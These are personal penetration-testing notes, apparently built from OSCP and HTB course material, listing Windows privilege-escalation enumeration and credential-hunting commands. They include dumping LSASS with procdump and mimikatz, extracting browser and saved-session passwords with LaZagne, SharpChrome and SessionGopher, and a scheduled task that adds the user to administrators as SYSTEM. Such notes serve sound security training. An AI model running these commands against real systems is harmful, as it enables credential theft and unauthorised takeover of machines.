Windows Priv Cheat Enum

jeudi 13 février 2025 11:27 AM

https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_windows.html

if we have local admin access on the target we can :

- Attacking SAM (hklm\sam ,hklm\system ,hklm\security) and we use secretsdump to dump the local SAM hashes and would've also dumped the cached domain logon information if the target was domain-joined
- target LSA Secrets This could allow us to extract credentials from a running service, scheduled task, or application that uses LSA secrets to store passwords.
- Dump LSASS reg that stores credentials that have active logon sessions on Windows systems and extracting creds with pypykatz
- If the machine is joined to domain, we can make a copy of the NTDS.dit file by creating a shadow copy of C:

We can escalate privileges to one of the following depending on the system configuration and what type of data we encounter:

The highly privileged **NT AUTHORITY\SYSTEM** account, or **LocalSystem account** which is **a highly privileged account** with **more privileges than a local administrator account** and is used to run most Windows services.
The **built-in local administrator account**. Some organizations **disable this account, but many do not**. It is not uncommon to see this account reused across multiple systems in a client environment.
Another local account that is a member of the **local Administrators group**. **Any account in this group will have the same privileges** as **the built-in administrator account.**
A standard (non-privileged) **domain user** who is **part of the local Administrators group.**
A domain admin (highly privileged in the Active Directory environment) that is **part of the local Administrators group.**

Question	Command(s)
SYSTEM / MACHINE Enumeration	
Operating System Information	**What version of Windows is running? => check wikipedia site** • `Ver` • `[environment]::OSVersion.Version` **What is the full build number and edition? => Google KBs Hotfixes to get idea of when the machine has been patched. [windows exploit suggester]** • `systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"Hotfix(s)"` **Is the system 32-bit or 64-bit?** • `wmic os get osarchitecture`
User & Group Information:	**Who am I currently logged in as?** • `Whoami /all` **Information about our user + group we belong to:** • `net user <our_username>` **Our privileges :** • `whoami /priv` **What groups does my current user belong to?** • `whoami /groups` **List all users on the system** • `net users` • **`Get-LocalUser`** **List all local groups** • `net localgroup` **Details About a Group (members,desc)** [look for password or other interesting information stored in the group's description especially non-standard groups] • `net localgroup <administrators>` • `Get-ADGroupMember -Identity <DnsAdmins>` **Logged-In Users [Are they idle or active?]** • `query user` • `Get-CimInstance -ClassName Win32_LogonSession`
System Configuration:	**Execution Policy (for running scripts later) :** • `Get-ExecutionPolicy` **Is UAC (User Account Control) enabled?** • `reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA` +> **EnableLUA REG_DWORD 0x1** means enabled **If UAC enabled, which level is set (0 - 5) : 5 = Always notify** • `REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System \ /v ConsentPromptBehaviorAdmin` **Password Policies:**

- `net accounts`

Are any services running with high privileges?
- `tasklist /SVC`

Check for unquoted service paths
- `wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """`

```
AlwaysElevated Install Configuration :
    reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
    reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
If 0x01 so we can use the function write-userAddMSI of Powerup script and make a backdoor with priv user
```

Patch Level & Updates:

Windows Patch & Updates History [Any missing critical updates?] => Catalogue of patch
- `Get-HotFix | ft -AutoSize`
- `wmic qfe list brief`

Are there any outdated or vulnerable drivers installed?
- `wmic sysdriver where "state='Running'" get name,pathname,startmode | findstr /i "Auto"`

Enumerate exploits for missing patchs using wesng
- `wes.py --update`
- `systeminfo > systeminfo.txt`
- `wes.py systeminfo.txt  --muc-lookup`

Environment Variables:

- `set`
- `Get-ChildItem Env:`

=> check for HOME DRIVE [often be a file share] , and creds in var
=> **Make sure to check the PATH variable** because it can be changed by admin/proc/serv and privilege fetching from a directory that we have access to write into thus we may be able to perform DLL Injections against other applications.! Remember, when running a program, Windows **looks for that program in the CWD** (Current Working Directory) **first, then from the PATH going left to right.**

Windows Defender Exclusions

Check Windows Defender Status
- `Get-MpComputerStatus`

Are there any file paths or processes excluded from Windows Defender?
- `Get-MpPreference | Format-List`

Or directly with these commands [but in mind that when ExclusionProcess is empty array, -ExpandProperty will result in an error.]
- `powershell Get-MpPreference | Select-Object -ExpandProperty ExclusionPath`
- `powershell Get-MpPreference | Select-Object -ExpandProperty ExclusionProcess`

List AppLocker Rules [show denied programs]
- `Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections`

Test AppLocker Policy [To test AppLocker rules for a nested group, a representative member of the nested group should be specified for the **User** parameter and Path contains the binary to test against]
- `Get-AppLockerPolicy -Local | Test-AppLockerPolicy -path C:\Windows\System32\cmd.exe -User Everyone`

PowerShell History

Are there any PowerShell command histories stored locally?
- `(Get-PSReadlineOption).HistorySavePath`
- `type %USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt`
- `foreach($user in ((ls C:\users).fullname)){cat "$user\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt" -ErrorAction SilentlyContinue}`

Token Impersonation

access tokens are used to describe the security context (security attributes or rules) of a process or thread. Every time a user interacts with a process, a copy of the token issued to him when he logged in, will be presented to determine their privilege level.

Can you impersonate higher-privileged tokens?
- `whoami /priv`
- `tokenpriv.exe -a SeImpersonatePrivilege`

NETWORK Enumeration of Host

Network Configuration:

What are the IP addresses assigned to this machine? Is this dual homes machine ?
- `ipconfig /all`

What are the default gateway and DNS servers?
- `route print`
- `nslookup`

WIFI

Viewing Saved Wireless Networks
- `netsh wlan show profile`

Retrieving Saved Wireless Passwords [Key Content   field]
- `netsh wlan show profile ilfreight_corp key=clear`

Open Ports & Services:

What ports are open and what services are listening? [Are there any suspicious connections? / locall services exposed only interally ?]
- `netstat -ano`
- `Get-NetTCPConnection`

	Check for process /service using specific port by its pid: • Get-Process | findstr <pid>
Domain Information:	**Is this machine part of a domain?** • echo %USERDOMAIN% **What is the domain controller?** • net group /domain **Enumerate domain users and groups:** • net user /domain • net group "Domain Admins" /domain
Shared Resources:	**What shares are available on this machine?** • net share **Can you access other machines' shares?** • net view \\[other-machine-ip]
Network Shares:	**Are there writable network shares?** • net use **Are there SMB shares accessible without credentials?** • net use \\[TARGET_IP]\IPC$ "" /user:"" • net view \\[TARGET_IP]
NetBIOS Name Resolution	**Can we enumerate NetBIOS names of nearby systems?** • nbtstat -A [IP_ADDRESS]
Print Spooler:	**Checking for Spooler Service** • ls \\localhost\pipe\spoolss If it is not running, we will receive a "path does not exist" error. But if it exist we can think about Printnightmare exploit **Are there any print jobs with sensitive data?** • dir C:\Windows\System32\spool\PRINTERS
Check Known Hosts File:	**Does the known_hosts file indicate connections to other systems?** • type %USERPROFILE%\.ssh\known_hosts
LLMNR/NBT-NS Poisoning Opportunities	**Is the system vulnerable to LLMNR/NBT-NS poisoning?** • resolvconf -l **Using Inveigh** • Invoke-Inveigh -Interface [NETWORK_INTERFACE] **If we have administrator privilege we can spawn powershell and test :** • Get-MpPreference | Select-Object -ExpandProperty EnableNetworkProtection ○ If the output is 0 or Disabled, the system is not protected against LLMNR/NBT-NS poisoning. ○ If the output is 1 or Enabled, the system has some level of protection.
DNS Zone Transfers	**Can we perform a DNS zone transfer to enumerate internal domain records?** • Nslookup • > set type=any • > ls -d [DOMAIN_NAME]
INVESTIGATING RUNNING/INSTALLED Binaries	
Installed Software	**What software is installed? [Are there any outdated or vulnerable versions?]** • wmic product get name,version => it might miss some applications that were installed by non-standard methods or don't register with the Windows Installer service. / May miss entries installed by older versions of Windows Installer (MSI). Or powershell (same output) (Get-wmiobject classes) • Get-WmiObject -Class Win32_Product | select Name, Version => Similar to wmic, it might not show all installed software, particularly applications not installed using MSI. A significant downside is that querying Win32_Product can trigger a reconfiguration of installed applications, which can lead to delays, unnecessary changes, and potential system instability if software attempts to self-repair. Or the best alternative : • Get Installed Programs via PowerShell & Registry Keys • PS C:\htb> $INSTALLED = Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, InstallLocation • PS C:\htb> $INSTALLED += Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, InstallLocation • PS C:\htb> $INSTALLED | ?{ $_.DisplayName -ne $null } | sort-object -Property DisplayName -Unique | Format-Table -AutoSize => (HKLM\Software\Microsoft\Windows\CurrentVersion\Uninstall\* for 64-bit and HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* for 32-bit). If we find mRemoteNG => check how to exploit
Running Processes	**What processes are currently running?**

is there a web server like IIS or XAMPP running on the machine, placing an aspx/php shell on the machine, and gaining a shell as the user running the web server.] => . Generally, this is not an administrator but will often have the SeImpersonate token, allowing for Rogue/Juicy/Lonely Potato to provide SYSTEM permissions.

- Tasklist
- Get-Process

Are there any unusual or unsigned binaries? [sigcheck]

- sigcheck -a -e -c **-u** -n **-v** -m c:\windows\system32\

Monitoring for Process Command Lines

It captures process command lines every two seconds and compares the current state with the previous state, outputting any differences.

```
while($true)
{

  $process = Get-WmiObject Win32_Process | Select-Object CommandLine
  Start-Sleep 1
  $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
  Compare-Object -ReferenceObject $process -DifferenceObject $process2

}
```

*

Scheduled Tasks

What tasks are scheduled to run? [Do any tasks run with elevated privileges?]

- schtasks /query /fo LIST /v
- schtasks /query /fo LIST /v | findstr ".ps1 .bat .cmd"
- Get-ScheduledTask | select TaskName,State

What tasks configured to run but not currently running (powershell)

- Get-ScheduledTask | Where-Object {$_.State -eq 'Ready'} | Select-Object TaskName, Action, Trigger

Enumerating Automatic Services

- Get-Service | Where-Object {$_.StartType -eq 'Automatic'}

Checking Winlogon Registry Key [A critical registry location that controls system behavior during logon.]

- Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"
  Common values include:
    Userinit: Points to the executable(s) run when a user logs in (e.g., C:\Windows\system32\userinit.exe).
    Shell: Specifies the default shell (usually explorer.exe).
  We can potentially modify the Winlogon key to maintain persistence or replace the shell with malicious executables.

If we have SeAssignPrimaryTokenPrivilege/SeIncreaseQuotaPrivilege privilege we can create a scheduled task that will run with SYSTEM upon any user logon

- schtasks /Create /RU "SYSTEM" /SC ONLOGON /TN "malicious" /TR "cmd /c net localgroup administrators $(whoami) /add"

Named Pipes

Pipes are essentially files stored in memory that get cleared out after being read and it allow communication between two applications or processes using shared memory. There are two types of pipes, named pipes and anonymous pipes. the process that creates a named pipe is the server, and the process communicating with the named pipe is the client. Every active connection to a named pipe server results in the creation of a new named pipe. These all share the same pipe name but communicate using a different data buffer.

What shared Named Pipes are present on the system:

- PS > gci \\.\pipe\
- Sys inter> pipelist.exe /accepteula

What permissions assigned to a specific named pipe:

- accesschk.exe /accepteula \\.\Pipe\lsass -v

After finding a specific suspicious named pipe we can google it to understand better how potentially we can leverage it. Example :WindscribeService [VPN client application for Windows]

If we find it writable by Everyone we can potentially use this exploit :

Autostart Locations

What are programs executed at startup:

- Get-ChildItem -Path "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"
- Get-ChildItem -Path "$env:PROGRAMDATA\Microsoft\Windows\Start Menu\Programs\Startup"
- Get-CimInstance Win32_StartupCommand | select Name, command, Location, User |fl

Are there any autostart entries that could be abused for persistence? / Are there opportunities for DLL hijacking in auto-start locations?

- reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
- reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run

Service Dependencies

What are a service permission : [The output is security descriptors "SDDL" : Article]

- sc.exe sdshow [service_short_name]

What are a service dependencies

- sc qc [SERVICE_NAME]

third-party software

Mozilla Maintenance Service. This service runs in the context of SYSTEM and is startable by unprivileged users.
Checking Permissions on Binary

Files/Creds Enumerations

Here are some other places we should keep in mind when credential hunting:

- Passwords in Group Policy in the SYSVOL share
- Passwords in scripts in the SYSVOL share
- Password in scripts on IT shares

	• Passwords in web.config files on dev machines and IT shares • unattend.xml (Although these files should be automatically deleted as part of the installation, sysadmins may have created copies of the file in other folders during the development of the image and answer file.) ▪ Passwords in the AD user or computer description fields ▪ KeePass databases --> pull hash, crack and get loads of access. ▪ Found on user systems and shares ▪ Files such as pass.txt, passwords.docx, passwords.xlsx found on user systems, shares, Sharepoint
List Hidden Files and Folders:	**What hidden files and folders exist on the system?** • dir /a:h /s c:\ | findstr "Directory" **Are there any hidden files in common directories?** • dir /a:h /s c:\users\*.*
Weak File Permissions	**Are there files or directories with overly permissive ACLs (Access Control Lists)?** • icacls C:\Windows\*.* /T /C /Q | findstr BUILTIN • icacls C:\ProgramData\*.* /T /C /Q | findstr BUILTIN
Check for Common Sensitive Directories:	**Are there any .git repositories with sensitive data?** • dir /s /b *.git **Are there backup files (e.g., .bak, .old)?** [we can also check .gz / .tar for archived projects potentially containing forgetten pass] • dir /s /b *.bak *.old
Search for Configuration Files:	**Are there any .ini, .cfg, or .conf files with credentials?** • dir /s /b *.ini *.cfg *.conf *.config *.xml *.json • dir /s /b *.ini *.cfg *.conf *.config *.xml *.json | findstr "password" Sticky Notes Passwords • This file is located at **C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite** Web Server Configurations : • dir C:\inetpub\wwwroot\web.config • dir C:\Apache24\conf\httpd.conf **Are there any cloud sync folders (e.g., OneDrive, Dropbox) with sensitive files?** • dir %USERPROFILE%\OneDrive • dir %USERPROFILE%\Dropbox Chrome Dictionary Files • Get-ChildItem 'C:\Users\Ouersighni\AppData\Local\Google\Chrome\User Data\Default\' -Recurse | Select-String password • Get-ChildItem C:\ -Recurse -Include *.txt -ErrorAction Ignore
LOOKING FOR SCRIPTS	**Are there any batch files (*.bat, *.cmd)?** • dir /s /b *.bat *.cmd **Are there any PowerShell scripts (*.ps1)?** • dir /s /b *.ps1 **Are there any VBScripts (*.vbs)?** • dir /s /b *.vbs **Are there any python scripts (*.py)** • dir /s /b *.py Are There any java app : • dir /s /b *.jar **Do any scripts contain passwords or API keys?** • findstr /si password *.bat *.cmd *.ps1 *.vbs *.py **Are there any Group Policy Object (GPO) scripts configured?** • gpresult /H gpo.html
SSH KEYS	**Are there any private SSH keys (id_rsa, id_dsa)?** • dir /s /b id_rsa id_dsa **Are there any public SSH keys (id_rsa.pub, id_dsa.pub)?** • dir /s /b id_rsa.pub id_dsa.pub
TEXT FILES WITH KEYWORDS	**Are there any text files containing "password", "token", or "secret"?** • findstr /si /p /m "password" c:\*.txt • findstr /si /p /m "token" c:\*.txt • findstr /si /p /m "secret" c:\*.txt **Are there any documents with sensitive data?** • dir /s /b .txt,.pdf,.xls,.xlsx,.doc,.docx
DATABASES	**Is SQL Server installed?** • sc query | findstr "MSSQL" **Is MySQL installed?** • tasklist | findstr "mysqld" **Are there any SQLite databases?** • dir /s /b *.sqlite *.db **Can you access SQL Server databases?** [ajouter -E pour utiliser nos informations d'identification Windows actuelles.]

- sqlcmd -S . -Q "SELECT name FROM master.dbo.sysdatabases"

Are default database credentials being used?
- net user sa

LOGS

System Logs:

Are there any event logs with useful information?
- wevtutil el

Check for specific log entries:
- wevtutil qe Security /rd:true /f:text /c:100 | findstr "4624"

Application Logs:

Are there any application-specific logs?
- dir /s /b *.log

Do log files contain credentials or error messages revealing vulnerabilities?
- findstr /si /p /m "password" c:\*.log

IIS Logs:

If IIS is installed, where are the logs located?
- dir C:\inetpub\logs\LogFiles

MISCELLANEOUS ENUMERATION

Are there any stored credentials in tools like PuTTY (*.ppk)?
- Get-ChildItem C:\ -Recurse -Include *.ppk, *.vhd, *.vhdx, *.vmdk, *.kdbx -ErrorAction Ignore
- dir /s /b *.ppk .vdhx .vmdk .kdbx

Any xlsx sheets we can read and potentially contains records :
- .xlsx

Are there browser history or cookies with sensitive data?
- dir /s /b "%USERPROFILE%\AppData\Local\Google\Chrome\User Data\Default\*"
- dir /s /b "%USERPROFILE%\AppData\Roaming\Mozilla\Firefox\Profiles\*"

Browser Extensions or Add-ons that we can inspect / hijack :

Get-ChildItem -Path "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions"

Are there AWS, Azure, or GCP configuration files?
- dir /s /b aws.json azure.json gcloud.json

Keytab or password manager db
- **Cmd** > for %l in (.vhd .vhdx .kdbx .keytab .kt krb5) do @dir C:\ /s /b *%l | findstr /R /V "\\doc\\ \\lib\\ \\headers\\ \\share\\ \\WinSxS\\"
- **PS >@(".vhd", ".vhdx", ".kdbx", ".keytab", ".kt", "krb5") | ForEach-Object {**

```
    Get-ChildItem -Path C:\ -Recurse -Include *$_* | Where-Object {$_ -notmatch
"doc|lib|headers|share"}
}
```

Sensitive Files:

Are there any password files or configuration files with credentials? [Look for saved passwords in browsers or other applications.]
- dir /s *password* *cred* *secret* *flag*

DACL Misconfigurations

Are there any misconfigured DACLs exposing sensitive data?
- icacls C:\Windows\*.* /T /C /Q | findstr Everyone

Stored Credential Dumping/Hunting

Are there any stored credentials in the Windows Credential Manager?
- cmdkey /list
- rundll32.exe keymgr.dll,KRShowKeyMgr

If we attempt to rdp to the returned host it will use the saved creds for it. We can also attempt to reuse the credentials using runas to send ourselves a reverse shell as that user, run a binary, or launch a PowerShell or CMD console with a command such as:
- runas /savecred /user:inlanefreight\bob "COMMAND HERE"

Are there any stored credentials Putty?

For Putty sessions utilizing a proxy connection, when the session is saved, the credentials are stored in the registry in clear text.

- reg query HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions

Now we look into the returned session and we should see the password in clear :
- reg query HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions\kali%20ssh

Are there registry keys storing plaintext credentials?
- reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
- Get-ItemProperty -Path "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

The typical configuration of an Autologon account involves the manual setting of the following registry keys:

	• **AdminAutoLogon** - Determines whether Autologon is enabled or disabled. A value of "1" means it is enabled. • **DefaultUserName** - Holds the value of the username of the account that will automatically log on. • **DefaultPassword** - Holds the value of the password for the user account specified previously. • `reg query "HKCU\Software\Microsoft\Internet Explorer\IntelliForms\Storage2"` **discover credentials that web browsers or other installed applications may insecurely store.** • `.\lazagne.exe all` **Retrieving Saved Credentials from Chrome.** • `.\SharpChrome.exe logins /unprotect` Note: Credential collection from Chromium-based browsers generates additional events that could be logged and identified as 4983, 4688, and 16385, and monitored by the blue team. **Can you dump credentials from memory?** • `mimikatz.exe privilege::debug sekurlsa::logonpasswords` **Can you extract credentials from the LSASS process?** • `procdump.exe -accepteula -ma lsass lsass.dmp` • `mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords"` **If in domain joined, why not run snaffler to check all windows computers from domain and all readable shares and enumerate them for juicy information ?** • `snaffler.exe -s -o snaffler.log`
Email If we gain access to a domain-joined system in the context of a **domain user** with a **Microsoft Exchange inbox**, we can attempt to search the user's email for terms such as "pass," "creds," "credentials," etc. using the tool MailSniper. **Check the tool**	• `Invoke-SelfSearch -Mailbox current-user@domain.com`
Shadow Copies	**Are there any shadow copies that might contain deleted sensitive files?** • `vssadmin list shadows` • `mountvol`
Recycle Bin	**Are there any files in the Recycle Bin that were not securely deleted?** • `dir C:\$Recycle.Bin`
SessionGopher **=> Certain programs and windows configurations can result in clear-text passwords or other data being stored in the registry.** SessionGopher is a PowerShell tool that finds and decrypts saved session information for remote access tools. It extracts **PuTTY**, **WinSCP**, **SuperPuTTY**, **FileZilla**, and **RDP saved session information [** works by querying the HKEY_USERS hive for all users who have logged onto a domain-joined box at some point. also searches all drives for PuTTY private key files (.ppk) and extracts all relevant private key information, including the key itself, as well as for Remote Desktop (.rdp) and RSA (.sdtid) files. **]**	**On the victim** • `. .\SessionGopher.ps1` • `Invoke-SessionGopher -Thorough` **Or remotely :** • `Import-Module path\to\SessionGopher.ps1;` • `Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss` **Can be detected by IDS since the project is 8 years old.**

Windows Commands Manual : https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/windows-commands

Using accesschk we can search for all named pipes that allow write access . If we see named pipe allows **READ** and **WRITE** access to the **Everyone group, meaning all authenticated users.**

- `accesschk.exe -w \pipe\* -v`

After finding a specific suspicious named pipe we can google it to understand better how potentially we can leverage it.
Example :WindscribeService [VPN client application for Windows]

If we find it writable by Everyone we can potentially use this exploit :

- accesschk.exe -accepteula -w \pipe\WindscribeService -v

```
Get-WmiObject -Class <classname>
```

Operating System Information

- Win32_OperatingSystem: Information about the operating system (e.g., version, architecture, registered user).
- Win32_ComputerSystem: Details about the computer system (e.g., manufacturer, model, domain).
- Win32_SystemEnclosure: Physical characteristics of the computer chassis (e.g., serial number, form factor).

Hardware Information

- Win32_Processor: CPU details (e.g., name, speed, number of cores).
- Win32_PhysicalMemory: Information about physical RAM (e.g., size, speed).
- Win32_DiskDrive: Details about physical disks (e.g., model, size, interface type).
- Win32_VideoController: Information about the graphics card (e.g., name, driver version).
- Win32_NetworkAdapter: Details about network adapters (e.g., name, MAC address).

Software and Services

- Win32_Service: Lists all installed Windows services.
- Win32_Process: Information about running processes.
- Win32_StartupCommand: Programs set to run at startup.
- Win32_Share: Shared folders on the system.
- Win32_Product : installed software on a Windows machine.

Networking

- Win32_NetworkAdapterConfiguration: Detailed network settings (e.g., IP address, DNS).
- Win32_PingStatus: Information about ping results to a specified host.

Storage

- Win32_LogicalDisk: Logical storage details (e.g., drive letters, free space).
- Win32_Volume: Information about disk volumes.
- Win32_FileSystem: File system details (e.g., FAT32, NTFS).

Users and Groups

- Win32_UserAccount: User accounts on the system.
- Win32_Group: Groups on the system.
- Win32_LogonSession: Details about logon sessions.

Power and Environment

- Win32_Battery: Battery status (for laptops).
- Win32_Environment: Environment variables

Manually Searching the File System for Credentials

We can search the file system or share drive(s) manually using the following commands from this cheatsheet.

Search File Contents for String - Example 1

```
C:\htb> cd c:\Users\htb-student\Documents & findstr /SI /M "password" *.xml *.ini *.txt
stuff.txt
```

Search File Contents for String - Example 2

```
C:\htb> findstr /si password *.xml *.ini *.txt *.config
stuff.txt:password: l#-x9r11_2_GL!
```

Search File Contents for String - Example 3

```
C:\htb> findstr /spin "password" *.*
stuff.txt:1:password: l#-x9r11_2_GL!
```

Search File Contents with PowerShell

We can also search using PowerShell in a variety of ways. Here is one example.

```
PS C:\htb> select-string -Path C:\Users\htb-student\Documents\*.txt -Pattern password
stuff.txt:1:password: l#-x9r11_2_GL!
```

Search for File Extensions - Example 1

```
C:\htb> dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
c:\inetpub\wwwroot\web.config
```

Search for File Extensions - Example 2

```
C:\htb> where /R C:\ *.config
c:\inetpub\wwwroot\web.config
```

Similarly, we can search the file system for certain file extensions with a command such as:

Search for File Extensions Using PowerShell

Other Files

```
PS C:\htb> Get-ChildItem C:\ -Recurse -Include *.rdp, *.config, *.vnc, *.cred -ErrorAction Ignore
Directory: C:\inetpub\wwwroot
Mode            LastWriteTime       Length Name
----            -------------       ------ ----
-a----       5/25/2021   9:59 AM        329 web.config
<SNIP>
```

.